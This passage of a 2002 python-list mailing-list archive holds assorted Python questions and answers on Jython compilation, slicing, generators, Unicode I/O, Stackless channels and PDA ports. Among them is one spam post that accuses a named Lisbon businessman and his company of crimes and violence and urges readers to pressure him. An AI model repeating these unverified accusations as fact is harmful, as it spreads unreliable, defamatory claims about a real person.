use jythonc, I got the following: --------------------------------------------------- C:\jython-2.1>jythonc.bat a:loto3.py processing loto3 Required packages: javax.swing Creating adapters: Creating .java files: loto3 module Compiling .java to .class... Compiling with args: ['C:\\j2sdk1.4.0\\bin\\javac', '-classpath', 'C:\\jython-2. 1\\jython.jar;;.\\jpywork;a:;C:\\jython-2.1\\Tools\\jythonc;C:\\jython-2.1\\.;C: \\jython-2.1\\Lib;C:\\jython-2.1', '.\\jpywork\\loto3.java'] ------------------------------------------------------- This resulted in a loto3.class file in the jpywork subdirectory of the jython directory. When I tried to run it (java loto3) I got the following: -------------------------------------------------------------- C:\jython-2.1\jpywork>java loto3 Exception in thread "main" java.lang.NoClassDefFoundError: org/python/core/PyObject --------------------------------------------------------------- I peeked in the java source file generated by jythonc in the jpywork subdirectory (loto3.java) and the first line is an import statement "import org.python.core.*;" Thanks in advance for any help From postmisc at yahoo.com.au Sun May 19 08:16:43 2002 From: postmisc at yahoo.com.au (Patrick) Date: Sun, 19 May 2002 22:16:43 +1000 Subject: OT: Crazy Programming References: Message-ID: "Huaiyu Zhu" wrote in message news:slrnaeekef.3ck.hzhu at mars.localdomain... > Patrick wrote: > > > >To my mind, it is a perfectly logical conclusion that if the final recipient > >has some limitations (eg. the assumption that all things "REAL" must be > >entirely or partly perceptible), then the delivery systems indeed cannot > >help. > > Care to outline that logic? I'm relieved that you said "outline" instead of "defend" ;-) Philosophy is not my forte, so please forgive the naivete of these remarks. You are dealing with a novice here. (And to cap it off, it's Sunday night and I've been drinking all afternoon). So here goes ... I meant : if one of the "recipient's" limitations is a tendency to seek in the wrong direction, as Christopher seemed to imply, then even highly advanced "delivery systems" will be unable to help. For instance, we will not find Pi through a powerful telescope, or even through the world's best hearing aid. I wonder though: is Pi entirely imaginary? Does its lack of substance necessarily place it in a domain that is beyond any definition of "real"? I have no idea what philosophers think about this, but could not Pi be considered both real and imaginary? Although Pi is not a real _thing_, it is a real _relationship_. And should "things" own the exclusive right to "reality"? Beyond Pi, what about the laws of physics themselves? Are scientific laws "real"? What kind of instrument could possibly detect the law itself (not merely manifestations of the law)? If any of this makes any sense, ie. if scientific laws and relationships (like Pi) are granted any form of "reality", then so might Platonic "Forms" have a "reality" of sorts that is not, by nature, perceptible (or only seen "through a glass darkly"). And if that were the case, to look for them "out there" with the best scientific instruments would be something of a wild goose chase. I suspect this is what Christopher meant, but I'm sorry if I've got it wrong. Regardless of whether there's any merit in the above (and believe me, it will not hurt my feelings if you tear it to pieces ;-)), it also seems possible to me that certain (unknown) errors are hardwired into human perception, and that unless those errors are somehow recognised, sophisticated instruments may only amplify them. If our ignorance of our ignorance is fundamental enough, we may be building the same error into our instruments. (Speculative possibility which I have no particular reason to either believe, or to want to believe, but it seems far from inconceivable to me). Regards, Patrick. From crasmussen at lanl.gov Mon May 13 12:35:23 2002 From: crasmussen at lanl.gov (Craig Rasmussen) Date: Mon, 13 May 2002 10:35:23 -0600 Subject: C/C++ data-structure/Class parser written in python In-Reply-To: <3CDAE315.FC1C58DC@impathnetworks.com> Message-ID: <6C725FC6-668F-11D6-87FA-0030657EBC3E@lanl.gov> On Thursday, May 9, 2002, at 02:59 PM, Pierre Rouleau wrote: > Hi, > > has anyone come across a parser that can parse C (at minimum) and > C++ (optional) data structure declarations written in python? > > Really, all i need would be a simple parser that can parse a set of C > headers declaring structure types that can be used to create complete > structure member trees. A C++ solution can be found at: http://www.cs.uoregon.edu/research/paracomp/pdtoolkit/ We are currently working on a Java port that would be accessible with JPython, however this won't be ready for a month or so. Craig From shredwheat at attbi.com Sun May 19 05:05:19 2002 From: shredwheat at attbi.com (Pete Shinners) Date: Sun, 19 May 2002 09:05:19 GMT Subject: feasibility of building a video editing program in python References: Message-ID: <3CE76A52.5080907@attbi.com> abe burmeister wrote: > I'm interested in building a program that: > 1 - manipulates and sequences static images and displays them on > screen at video playback speeds. > 2 - exports sequences as video > 3 - has a GUI that allows for real time manipulation > 4 - can be controlled with a MIDI interface > > Is something that python can do? If so is python the right tool to > accomplish this, or are there more optimal languages? whoa.. the first thing you are going to need to do is figure out which C libraries you will need to do all this. if on windows i suppose you could use the various win32 video functions? anyways, once you have the libraries you would start from, you will probably need to create a thin wrapper so you can call the functions from python (i'm assuming any of these libs won't come with python bindings?) anyways, from there you won't be too bad off. using python to actually "interact" with the video isn't going to work, not fast enough. but using python to assemble a "pipeline" of builtin c filters and throw on a GUI should work very well. in any event, this is an enormous project to write. it's a lot of work no matter which language you choose. in any event, i think whatever libraries you need to deal with to get all this functionality will determine how easy or hard this is. From aleax at aleax.it Thu May 2 12:54:35 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 16:54:35 GMT Subject: [PEP] matching and mismatching References: Message-ID: Luke Kenneth Casson Leighton wrote: ... > for x in ([1,3,2,5,9] matching lambda x:x > 2): Seems quite close to: for x in filter(lambda x: x>2, [1, 3, 2, 5, 9]): or for x in [y for y in [1, 3, 2, 5, 9] if y>2]: I doubt we need a third way yet -- surely either or both of these existing ones should be potentially "parallelizable" enough for your liking? Alex From sdm7g at Virginia.EDU Sat May 25 11:19:30 2002 From: sdm7g at Virginia.EDU (Steven Majewski) Date: Sat, 25 May 2002 11:19:30 -0400 (EDT) Subject: Emulating Pascal input In-Reply-To: <57de9986.0205250510.f23789a@posting.google.com> Message-ID: On 25 May 2002, Giles Brown wrote: > result = [] > for field, converter in zip(fields, converters): > result.append(converter(field)) > return result The above is done better as: return map(converters, fields) -- Steve Majewski From quinn at regurgitate.ugcs.caltech.edu Wed May 22 16:35:50 2002 From: quinn at regurgitate.ugcs.caltech.edu (Quinn Dunkan) Date: 22 May 2002 20:35:50 GMT Subject: slice objects vs. [] Message-ID: Of __getitem__, the langref says, in 3.3.4: Called to implement evaluation of self[key]. For sequence types, the accepted keys should be integers and slice objects. Note that the special interpretation of negative indexes (if the class wishes to emulate a sequence type) is up to the __getitem__() method. If key is of an inappropriate type, TypeError may be raised; if of a value outside the set of indexes for the sequence (after any special interpretation of negative values), IndexError should be raised. Note: for loops expect that an IndexError will be raised for illegal indexes to allow proper detection of the end of the sequence. This seems to imply that [].__getitem__ should accept a slice object. Currently I am writing def __getitem__(self, k): if type(k) is type(slice(0)): return self.data[k.start:k.end] else: return self.data[k] ... which is awkward, in addition to losing k.step. BTW, is there any particular reason slice() is not a type? I expected to be able to write 'isinstance(k, slice)'. BTW again, shouldn't that Note mention the new iteration protocol? From romany at actimize.com Tue May 14 11:37:46 2002 From: romany at actimize.com (Roman Yakovenko) Date: Tue, 14 May 2002 17:37:46 +0200 Subject: #ifdef like question. Message-ID: <7647A9F4B298E74DB6793865DA67285004B348@exchange.adrembi.com> Well, it's really dirty way to do it. Guys don't you think that we have some nice method to solve this problem ? The problem: writing code using new futures( like generators, ...) and code with the same functionality ( interface ) but using old methods. There are a few solutions: 1. Install time. Not good, because of for this you will need something like 3 files, for almost every use of something from future 2. To right the code like this one. I suppose, I am not alone that disagrees with those solutions? Roman. -----Original Message----- From: holger krekel [mailto:pyth at devel.trillke.net] Sent: Tuesday, May 14, 2002 4:24 PM To: Roman Yakovenko Cc: python-list at python.org Subject: Re: #ifdef like question. Roman Yakovenko wrote: > Thanks for the help. I don't like the first version( I knew that I could implement it this way). > The reason is simple if for each class \ function I will have 3 files than I'd rather will not use > futures. So I'd like to see the second way. Even if it will be some dirty method. > I'll pay attention to comments. i understand and share your oppinion. ok, then. let's make it as cleanly as possible. You basically do: exec if_generators(""" # generator version def func(): yield 1 yield 2 """, """ # non-generator version def func(): return [1,2] """) where if_generators is defined like this: def if_generators(newway,oldway): import sys version=(int(sys.version[0]),int(sys.version[2])) if version >= (2,2): execstring = 'from __future__ import generators\nif 1:\n'+newway else: execstring = 'if 1:\n'+oldway return execstring this works from python-version 1.5 onwards. Some points: - You can use the exec-statement inside class definitions for methods as well. the 'if 1:' is there to allow nicer identation. Otherwiese statements would have to start at column 0. - execing a string constructs a new parsing-tree. The restriction for 'from __future__ ...' is that it must appear at the top of parsing tree, not at the beginning of a module-file. - usually an imported module is byte-compiled in its place. in the above case the exec-string will *always* be parsed and compiled once at run-time. this hurts if you have short-lived scripts that import your module. - when using multiple version of python with the same script in the same location, bytecompiling will quickly loose its purpose. This problem is not specific to the given example but applies to any such script, though. - some people rightfully argue that doing 'exec str' should be avoided in favor of 'exec str in g,l' or getting rid of it alltogether. But I don't see other sane ways of achieving our goal. Maybe the person in question is reading this and comments :-) have fun, holger From stephen at xemacs.org Wed May 15 05:35:55 2002 From: stephen at xemacs.org (Stephen J. Turnbull) Date: 15 May 2002 18:35:55 +0900 Subject: Multibyte Character Surport for Python References: <7a8E8.41035$CN3.1405517@news2.tin.it> <87r8kddh2i.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: <87bsbhbvno.fsf@tleepslib.sk.tsukuba.ac.jp> >>>>> "Martin" == Martin v Loewis writes: Martin> Out of curiosity: can you point to source code written in Martin> this style (not necessarily by your students)? Note that it's not a "style." These are misunderstandings, they occur more or less randomly. The point is that they occur frequently enough to be troublesome. The source is Mule Elisp add-ons in XEmacs. The core Mule code is pretty clean, but that's mostly originally written by one man (Ken'ichi Handa), and hacked on by lots of non-Japanese. The input method code for Japanese, Wnn (the XEmacs egg-its package) and SJ3, can be pretty horrible. The Canna people just gave up, most of the variable and function names are at least partly romanized Japanese. Now that you ask, I realize this is a pretty biased sample. A lot of those names have to do with things that are unique to Japanese grammar. So it's not surprising at all that they're thinking in Japanese in those programs. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN My nostalgia for Icon makes me forget about any of the bad things. I don't have much nostalgia for Perl, so its faults I remember. Scott Gilbert c.l.py From dag4004 at free.fr Wed May 22 05:48:40 2002 From: dag4004 at free.fr (dag4004) Date: Wed, 22 May 2002 11:48:40 +0200 Subject: How to create a dynamic lib of Python API ? Message-ID: <3ceb6967$0$223$626a54ce@news.free.fr> Hello, I dont want to compile Python staticaly again libpython.a but i want to create a dynamic lib of Python's API (like libpython.so for exemple) and compile the interpreter with it. Does some one know how to do that ? Thanks From sjmachin at lexicon.net Sun May 19 08:44:25 2002 From: sjmachin at lexicon.net (John Machin) Date: 19 May 2002 05:44:25 -0700 Subject: Recursion problem References: Message-ID: "Dennis Peterson" wrote in message news:... > I'm trying to implement a basic Composite pattern. In the following code, I > expect c.getData() and d.getData() to both return "hellogoodbye". Instead, > on d.getData() I get stacktrace printing "y += i.getData()" repeatedly until > recursion depth exceeded. Why? > > I'm new to Python, running latest Windows version just downloaded. > > class Simple: > def __init__(self,x): > self.data = x > def getData(self): > return self.data > > class Compound: > data = [] This "data" is a *CLASS*-level attribute, shared by all instances of the class. You should have an __init__() similar to the other class, to set self.data to []. > def getData(self): > y = "" > for i in self.data: > y += i.getData() > return y > > def test(): > a = Simple("hello") > b = Simple("goodbye") > c = Compound() > c.data.append(a) > c.data.append(b) Insert a print statement here ... print c.data > print c.getData() > d = Compound() > d.data.append(c) Now for the big surprise: print d.data *AND* print c.data Just like the man said, c.data and d.data are the same thing ... and uh-oh, that means c contains a reference to itself! > print d.getData() d contains c, which contains c, so you start emulating the mythical ooloo bird, until saved by the recursion limit. *HINT* Unless you expect your code to work correctly first time or if not that kind strangers will always do your debugging for you, learn to put in print statements to give yourself a bit of a clue as to what is going wrong. You seem to have jumped right in to the OO aspects of Puthon; perhaps you might like to write yourself a mixin class that supplies a generic dump() method for debugging instances of classes that inherit from it. From cliechti at gmx.net Fri May 3 17:29:12 2002 From: cliechti at gmx.net (Chris Liechti) Date: 3 May 2002 23:29:12 +0200 Subject: Python networking question References: Message-ID: "Russell E. Owen" wrote in news:rowen- 020633.11180203052002 at nntp2.u.washington.edu: > I am writing a Python GUI networking client (presently in Tkinter, > though I hope to switch to wxPython) and have a question... > > What is the recommended way to do network I/O from Tkinter or wxPython? i would recomend to put the networking IO in a separate thread. you can then there use more threads and blocking sockets or select. (i prefer select 'cause you have the timeout thing for free) this way your gui will always be responsive and maybe you will need threads anyway if you have long running tasks initiated by the gui. (there is also some example of that in the wiki on wxPython.org) [...] > Any advice or pointers to advice (is there's a good book on the > subject?) would be much appreciated. you go for threading you will undoubtely be pointed to Aahz site... http://starship.python.net/crew/aahz/ chris -- Chris From andrewm at object-craft.com.au Fri May 31 09:20:32 2002 From: andrewm at object-craft.com.au (Andrew McNamara) Date: Fri, 31 May 2002 23:20:32 +1000 Subject: Python equivalent of shell's '$?' In-Reply-To: Your message of "Fri, 31 May 2002 23:11:38 +1000." <20020531131138.9D62638F50@coffee.object-craft.com.au> Message-ID: <20020531132032.9820638F50@coffee.object-craft.com.au> >>I can't quite remember exactly what the problem was (I seem to recall >>that the errno returned was not what the called program returned). This >>was using both open and backticks. It was yet another nail in the coffin >>that is my opinion of perl ;) > >You should read the manual page for the wait() system call, because this is >what os.system() is returning. In particular, the returned value is the >exit status of the sub-process shifted left 8 times (or multiplied by 256) >- at least when the process exits of it's own volition - otherwise the >cause of death is encoded. The manual page should explain all. Actually, the python doco is probably clearer. Look towards the end of: http://www.python.org/doc/current/lib/os-process.html -- Andrew McNamara, Senior Developer, Object Craft http://www.object-craft.com.au/ From wolfson at uchicago.edu Wed May 15 18:16:57 2002 From: wolfson at uchicago.edu (Ben Wolfson) Date: Wed, 15 May 2002 17:16:57 -0500 Subject: OT: Crazy Programming References: <31575A892FF6D1118F5800600846864DCBD192@intrepid> Message-ID: On Wed, 15 May 2002 15:59:07 -0500, James J. Besemer wrote: > So now I'm down again to just one type of music I reject out of hand: Rap. Try Del tha Funkee Homosapien. -- BTR BEN WOLFSON HAS RUINED ROCK MUSIC FOR A GENERATION -- Crgre Jvyyneq From discuss at fieryorb.com Wed May 29 11:37:33 2002 From: discuss at fieryorb.com (Ivan) Date: 29 May 2002 08:37:33 -0700 Subject: List &reference to segment of another list. Can dis be done? Message-ID: <3d3fa469.0205290737.7b630305@posting.google.com> I tried many logical ways to accomplish this (something like this): I want to create some list, like: >>> li = [0, 1, 2, 4, 8,] ...then I'd like to create reference list to segment of previous list, like >>> re = (ref) li[2:] >>> re [2, 4, 8] so, that when I ... re = [16, 32, 64] I'd like to have original list changed into [0, 1, 16, 32, 64]. Anybody who doesn think this problem is ironic or so, please advice. Thank you From duncan at NOSPAMrcp.co.uk Mon May 13 04:58:22 2002 From: duncan at NOSPAMrcp.co.uk (Duncan Booth) Date: Mon, 13 May 2002 08:58:22 +0000 (UTC) Subject: get/set References: Message-ID: [posted and mailed] Alex Martelli wrote in news:J_5D8.46933$zW3.574094 at news1.tin.it: >> Field descriptors are new with Python 2.2 > > Yes. > >> and require the new-style >> classes. > > No. > >>>> class X: > ... def getTer(self): return 23 > ... def setTer(self, value): pass > ... ter = property(getTer, setTer) > ... >>>> x = X() >>>> x.ter > 23 Unfortunately: >>> x.ter = 5 >>> x.ter 5 The getTer works, but the setTer is ignored unless you have a newstyle class. -- Duncan Booth duncan at rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From whisper at oz.net Tue May 21 21:54:34 2002 From: whisper at oz.net (David LeBlanc) Date: Tue, 21 May 2002 18:54:34 -0700 Subject: Is python really slow? In-Reply-To: Message-ID: > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Chris > Sent: Tuesday, May 21, 2002 17:54 > To: python-list at python.org > Subject: Is python really slow? > > > I spend a fair amount of time on perl newsgroups, having the need to use > perl for various parts of my job. I am now learning Python. I am a bit > disheartened at how common it seems to code only some of a program in > Python and use C for other parts, and how much discussion here involves > using C for X and Y. I don't have time to learn another language. I don't > see nearly as much discussion about doing this in the Perl newgroups. > Should I just be learning C instead? Is this just because of the > different > applications python is being put to use for or because Python programmers > are more "multi-lingual" or is Python really so slow that one needs to go > to C on a more regular basis? > > This is NOT flamebait... it just has me concerned that by deciding on > Python (after becoming semi-proficient in PHP and Perl) I might > be making a > mistake. > -- > http://mail.python.org/mailman/listinfo/python-list I think you're seeing a lot of people discussing development of python extensions more then that actual Python app development per se. I doubt that most people create extensions on an on-going basis, but on this mailing list and newsgroup extension development gets highlighted somewhat. I just turned an associate on to Python and he's so happy with the speed compared to Java, he's converting old programs from Java to Python for his customers. He ranted for some time about the increase in speed and huge reductions in coding effort and size too. I think most scripters are more multi-lingual then their compiled language peers. You yourself are adding Python to your Perl background :-) David LeBlanc Seattle, WA USA From rdsteph at earthlink.net Sun May 12 18:07:40 2002 From: rdsteph at earthlink.net (Ron Stephens) Date: Sun, 12 May 2002 22:07:40 GMT Subject: Zaurus and Python, a good combination Message-ID: <3CDEE799.5030306@earthlink.net> Thanks to the folks at Riverbank Computing you can download a Python interpreter that runs on the ARM and Linux based Sharp Zaurus PDA; Riverbank's web site at http://www.riverbankcomputing.co.uk/zaurus/ is the place to go for this download. There ar also downloads for many Python librairies for the ARM. Having splurged and bought my first -ever PDA, a Zaurus, I am quite pleased. I am runing many of my own personal Python scripts on the Zaurus, from the BASH shell command line terminal program provided. I have discussed this with many folks who own or are considering buying a Zaurus, at the Zaurus home page at http://www.zauruszone.com/ and several of them have also taken an interest and are trying out Python programs on the Zaurus. I recently read an interview with Guido van Rossum (I think it was in Linux Journal) where Guido commented that programming for PDA's or handhled computers might be one of the brightest spots in Python's future. I am intrigued by this. The Zaurus' command line BASH shell, combined with the built-in keyboard is great for this purpose. I don't think that a command line without a built in keyboard would be nearly as good for this purpose; I need the keyboard for entering data and such, and the Zaurus' keyboard is almost as good as a real keyboard for me, to my surprise; it feels natural. Does anyone know if the Compaq IPAQ and PALM devices have command line interfaces? I guess they must , since I believe I have read about Python ports to both the Windows CE and the PALM operating systems. Still, with its thumboard, the Zaurus is pretty hard to beat (The Zaurus also features an online "keyboard,", a "pickBoard", and handwriting recognition, but the thumboard makes the Zaurus pretty hard to beat. The Zaurus also comes with a built-in JEDOE JVM in order to make porting Java progrtasm eassy, and to make developing new Java bsed code for the Zaurus easy.Also, the Zaurus has its native QT-based Qtopia environment. I am trying to learn PyQt and Black Adder to make GUI programs for the Zaurus (although I don't know if or how hard it would be to port PyQt to the machine?) But even on the command line, Python shines in my opinion. So, if anyone is looking for new realms to conquer with their Python skills, I heartily recommend the Sharp Zaurus. I don't know if PyQt programs can be turned into ipkg files, that are automatically installable on the Zaurus, but I suspect with work they might be. Anyway, I have re-organized my web site and created a page for all the Python scripts I have tested on the Zaurus already, and quite a few folks from the Zaurus-online board are trying them out. The newly organized site is best entered from http://www.awaretek.com Happy Pythoneering to all...;-))) Ron Stephens http://www.awaretek.com From dale at riverhall.NOTHANKS.co.uk Thu May 16 16:52:53 2002 From: dale at riverhall.NOTHANKS.co.uk (Dale Strickland-Clark) Date: Thu, 16 May 2002 21:52:53 +0100 Subject: Unicode File I/O Grief References: Message-ID: martin at v.loewis.de (Martin v. Loewis) wrote: >I recommend to do > >codecs.open('C:\\odd.txt', 'wb', encoding="utf-8").write(ucString) > >or > >file('C:\\odd.txt', 'wb').write(ucString.encode("utf-8")) > But surely these translate the string before writing it? I don't want it translated I want to see EXACTLY what's in there as it stands. -- Dale Strickland-Clark Riverhall Systems Ltd From phd at phd.pp.ru Wed May 15 08:37:59 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Wed, 15 May 2002 16:37:59 +0400 Subject: Multibyte Character Surport for Python In-Reply-To: ; from ph@sxb.bsf.alcatel.fr on Wed, May 15, 2002 at 11:23:13AM +0000 References: <7a8E8.41035$CN3.1405517@news2.tin.it> <87r8kddh2i.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: <20020515163759.A12166@phd.pp.ru> On Wed, May 15, 2002 at 11:23:13AM +0000, Pierre HANSER wrote: > As a french guy, I often code comments in french in my personnal code, > and would do the same for identifiers if it was legal in the languages I use. The problem will arise when you publish your code for all that Russian, Indian, Chineese programmers. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From garry at sage.att.com Tue May 21 09:42:59 2002 From: garry at sage.att.com (Garry Hodgson) Date: Tue, 21 May 2002 13:42:59 GMT Subject: Python w/Forth Runtime???? References: <3CE5AFD3.32D59F@tundraware.com> <3CE5C208.5F41AD8A@tundraware.com> Message-ID: <3CEA4EE3.E337047@sage.att.com> Christopher Browne wrote: > > In the last exciting episode, Tim Daneliuk wrote:: > > Gerhard H?ring wrote: > > The overal article is about the dangers of locking into a single programming > > paradigm (like OO) for everything and that real world problems require > > multiple *simultaneous* paradigms for reasonable solutions. I think > > Python is almost alone in trying to incroporate that very idea in > > the language. > > Python is not alone in this. > > Common Lisp conspicuously supports multiple simultaneous paradigms. ocaml, too. and mozart (oz) supports most any pradigm known to man. -- Garry Hodgson Let my inspiration flow Senior Hacker in token rhyme suggesting rhythm Software Innovation Services that will not forsake me AT&T Labs 'til my tale is told and done. garry at sage.att.com From mmpbqq at opsla.net Thu May 30 04:56:59 2002 From: mmpbqq at opsla.net (mmpbqq at opsla.net) Date: Thu, 30 May 2002 08:56:59 +0000 (UTC) Subject: Enterprise in in Lisbon does many crimes 8393 Message-ID: (We have found out a site that shows what a evil man is doing to people in the city of lisbon, and without asking the webmaster of the site we decided to share it to all concerned with justice... lets make pressure to the evil guy by sending him emails :-) ) ------------------------------- FOR MORE INFO AND ALL THE EVIDENCES OF THE CRIMES DONE BY LEONAR|DO PARE|DES AND ITS ENTERPRISE ADVANCED REALITY ( www.advanced-reality.pt --- info at advanced-reality.pt ) >> http://accbl.cjb.net << LEO|NARDO MELO PARE|DES - A evil man in portugal (lisbon), and his crime enterprise: LEO|NARDO PARE|DES with the aid of his enterprise www.advanced-reality.pt , is doing massive abuses, like making promisses and agreedments that never intended to keep, making death/fisical abuse THREATS to some people, like only using PIRATE SOFTWARE in his enterprise, and never paying IRS to the Portuguese State. Also, besides the threats, LEO|NARDO SAVAGELY BEATED BY SURPRISE one person that said that would talk to the police about the crimes he was comiting... this and much more to see in the site >> http://accbl.cjb.net << .... (only in portuguese) FOR MORE INFO AND ALL THE EVIDENCES OF THE CRIMES DONE BY THIS MAN AND ITS ENTERPRISE ADVANCED REALITY ( www.advanced-reality.pt --- info at advanced-reality.pt ) >> http://accbl.cjb.net << slzjljzb From andrew.henshaw at mail.com Tue May 21 00:07:16 2002 From: andrew.henshaw at mail.com (Andrew Henshaw) Date: Tue, 21 May 2002 00:07:16 -0400 Subject: Ann: Stackless Limbo Dancing Works Fine! References: Message-ID: Christian Tismer wrote: > Andrew Henshaw wrote: >> Christian Tismer wrote: >> ...snip... >> > [snipped my description as well] > >> Just so that I am clear -- in your concept of channels, can channels be >> shared among multiple, parallel, sending processes? What about multiple, >> parallel, receiving processes? In other words are your channels similar >> to the Queue.Queue object? > > a) yes, b) too, c) ...reading up Queue.Queue... > you meant Java's Queue class? > No, I don't implement almost any of the methods. Actually, I meant the Python Queue class. > And I'm not queueing data, but proclets. > But yes, it is in fact a simple FIFO which > triggers reschedules as needed. Okay, that confirms my understanding. > >> The reason that I ask is that this is different from Occam's behavior >> (and >> I believe CSP's). In those systems, a channel should be assigned to at >> most one concurrent sender and receiver. > > At any time, there will be only one sender or receiver. > After one is done, another one may show up through > the queue. > Do you say a channel is only conected to at most > one sender and receiver in the sense of the whole > program? I believe so, since in Occam, channels > are denoted literally in the program text. Well sort of. A channel can be directly reused by different parallel senders/receivers; but, not while the first pair is still active. For instance, let say you have defined 3 processes xmitA, xmitB, and recv, and the only parameter to each is a channel. Then the following is fine: CHAN c: SEQ -- do the following two PARs sequentially PAR -- do the following two processes "in parallel" xmitA(c) recv(c) PAR xmitB(c) recv(c) But, the following would be illegal: CHAN c: PAR -- do all three processes "in parallel" xmitA(c) xmitB(c) recv(c) In the first example, channel c is being reused; but it only connects between two processes at any one time. Furthermore, the direction of the channel must not change within the scope of the parallel processes. In the second example, two processes are trying to both transmit over the same channel. They may not be actually doing it at the same time (for example, if you had a semaphore to control access to it); but, Occam does not permit such a construct. That code would be done more correctly as: CHAN c1, c2, c: PAR xmitA(c1) xmitB(c2) multiplexer(c, c1, c2) recv(c) and multiplexer would look something like: PROC multiplexer(CHAN out, CHAN in1, CHAN in2): WHILE TRUE ALT -- perform the communication that is first ready, and then the -- indented process in1 ? data -- receive data on channel in1 out ! data -- transmit data on channel out in2 ? data out ! data Well, actually you'd use an array of input channels and a replicated ALT; but, I thought this would be clearer. Notice the use of colons as declaration terminators and indentation for block definition. Very Pythonesque! > > I didn't look at Occam in the first place, but > by reading about the Limbo language. There, a channel > is a first-class object, and it is explicitly > shared between processes which might want to communicate. > This is the reason that bade the implementation look > this way. I'd say that is also the case with Occam. > > Anyway I'm not yet convinced if this was a good decision. > I have no education in parallelism and just followed > the hints of a couple of people at Bell Labs. > >> If you need to merge the output >> of multiple processes, then an ALT construct would be used to arbitrate >> among the individual channels. Under Occam, sending to the first >> available receiver is more complex than in CSP, as it doesn't have ALT >> output guards (difficult to implement on distributed processors, I >> believe); so, I'd follow the CSP model here. > > I'm trying hard to understand the CSP model at all, > reading articles, books, ... > >> I suspect you already know all of this, but I thought I would mention it >> in case there is some advantage to you in (conceivably) simplifying your >> channel design. You can still get the more complex behavior, but it >> would be done explicitly. > > I just tried to do the simplest possible while effective > thing. As said, I don't have the background to foresee > if the concept can stand a higher level of communication. > > Does my attempt contradict CSP, and how? Then please > let me know. I also learned a few days ago that Occam > systems don't seem to use simple queues, but instead > pools of processes which are ready to send or receive > ofver certain channels. Appears to be quite more > complicated, using explicit scheduling decisions and so > on. I believe this is also necessary, because Occam > has to cope with real parallism, true channel I/O between > multiple processors or even machines and such. > My simple idea was based on the fact that I have one > CPU only, and even easier, it is always shielded by > the Python interpreter, the GIL, so I have complete > control over this simplified "hardware". Well, channels don't use queues at all (at least, not without the programmer building them). You may be referring to the classic Occam example of using multiple parallel processes to create a pipeline or queue. This is often given as an example because it's easy to visualize and demonstrates the simplicity of Occam's parallel model; but, it wouldn't be used to create a queue in real code. A real queue would be done with an array and index pointers. An Occam channel is very simple and was implemented efficiently in the Transputer's microcode. I suspect that having only a single transmitting process and a single receiving process simplifies that task. As I said before, I believe that this holds for CSP also. The main difference between CSP and Occam channels is the ability of an ALT-type construct to know whether a receiving process on the other end of a channel is ready to receive (called an output guard, IIRC). In Occam, if you're a transmitting process, you can't simply check whether a receiver is ready to go; you have to commit to your send and then the communication either completes or you block. As you say, with your complete control over the model, you could implement the output guards, if you desired. > > Please let me know. I don't want to fight for my idea, > but for the best solution in the context of Python. > We're talking about two pages of code, and I'm happy > to try out different approaches. > > Thanks & cheers - chris > You're welcome! Andy From phr-n2002a at nightsong.com Wed May 15 16:10:18 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 15 May 2002 13:10:18 -0700 Subject: PDF creation starting from TIFF files References: Message-ID: <7x4rh9cgut.fsf@ruckus.brouhaha.com> In Red Hat Linux 7.2, I've found the following works: Use tiff2ps -2 to convert the tiff files to level 2 postscript (level 2 is important for my files because they contain bitmaps which in level 1 postscript would come out uncompressed and huge) Concatenate the ps files together with "cat". Yes, this seems to work! Convert the ps to pdf with the ps2pdf program. These programs are all included in the Red Hat 7.2 distribution. From ryanmorillo at hotmail.com Tue May 14 03:25:03 2002 From: ryanmorillo at hotmail.com (Ryan) Date: 14 May 2002 00:25:03 -0700 Subject: Zarsus Message-ID: <4a7fde99.0205132325.c92ba80@posting.google.com> I find it odd that nobody has downloaded this yet, I don't have one, but the Zarsus now has a python port. The link is http://www.handango.com/sharp/PlatformProductDetail.jsp?siteId=423&jid=2F13XA8134X7F2F3F4EX6ED59B3X1F6B&platformId=9&productType=2&productId=29236§ionId=0&catalog=80 I didn't see it posted on the boards but I'm looking at getting one, so if someone has it I am curious as to how full an implementation it is (I don't expect TK, but it may have the QT stuff already in it) From pyth at devel.trillke.net Thu May 2 07:31:45 2002 From: pyth at devel.trillke.net (holger krekel) Date: Thu, 2 May 2002 13:31:45 +0200 Subject: Message queueing In-Reply-To: References: Message-ID: <20020502113145.GR16217@devel.trillke> On Thu, May 02, 2002 at 01:22:48PM +0200, Etienne Labuschagne wrote: > I am new to this group and could not find an answer after a Google search, > so please bear with me if this question was already asked. > > I need to build a distributed app and I am wondering which message queue to > use and if anyone has any experience with interfacing to them in general. If a python-only solution is ok for you you should definitely have a look at http://pyro.sourceforge.net It gets you started pretty quickly. holger From anuraguniyal at yahoo.com Wed May 29 05:32:26 2002 From: anuraguniyal at yahoo.com (Anurag Uniyal) Date: 29 May 2002 02:32:26 -0700 Subject: Add .par functionality (like Java .jar) References: <3CEBAA0E.20006@bigfoot.com> <3CEE355A.2090403@bigfoot.com> Message-ID: <57a8f637.0205290132.4aa73432@posting.google.com> doesn't installer (http://www.mcmillan-inc.com/install5_intro.html) will do the job I am distributing python application using it and it works fine! Paul Moore wrote in message news:... > Johann H?chtl writes: > > > I think you mean package the main .py- file with all the other modules > > which are now in a zip file together and let the main.py file care > > about it's imports. > > > > IMHO this is bad design as the startup.py has to care whether is is > > loading it's modules from the directory (and relying on standard > > python mechanism) or from a python-zip package. > > No it doesn't. Just add the zip file to sys.path. That's easy, and can > be done in the driver code. > > > The consequence is that already python(.exe) has to have the knowledge > > to inspect the archive and see if there is a startup-script in it. > > As I said, to make this "built in" python.exe would need to know about > the concept of "executable archives", just like java.exe knows about > executable jarfiles. But it's trivial to write a module (which would > have to be installed for this to work, obviously...) which > encapsulates the process, and which can be run via the -c argument to > python.exe. > > Here's a proof of concept implementation: > > --- put this in par.__init__.py somewhere on sys.path... > > """Support Python Archive (par) files > > This module provides basic support for executable "archives" of Python > code and associated data. > > Python archive file format: > Python archive files are basically just zip 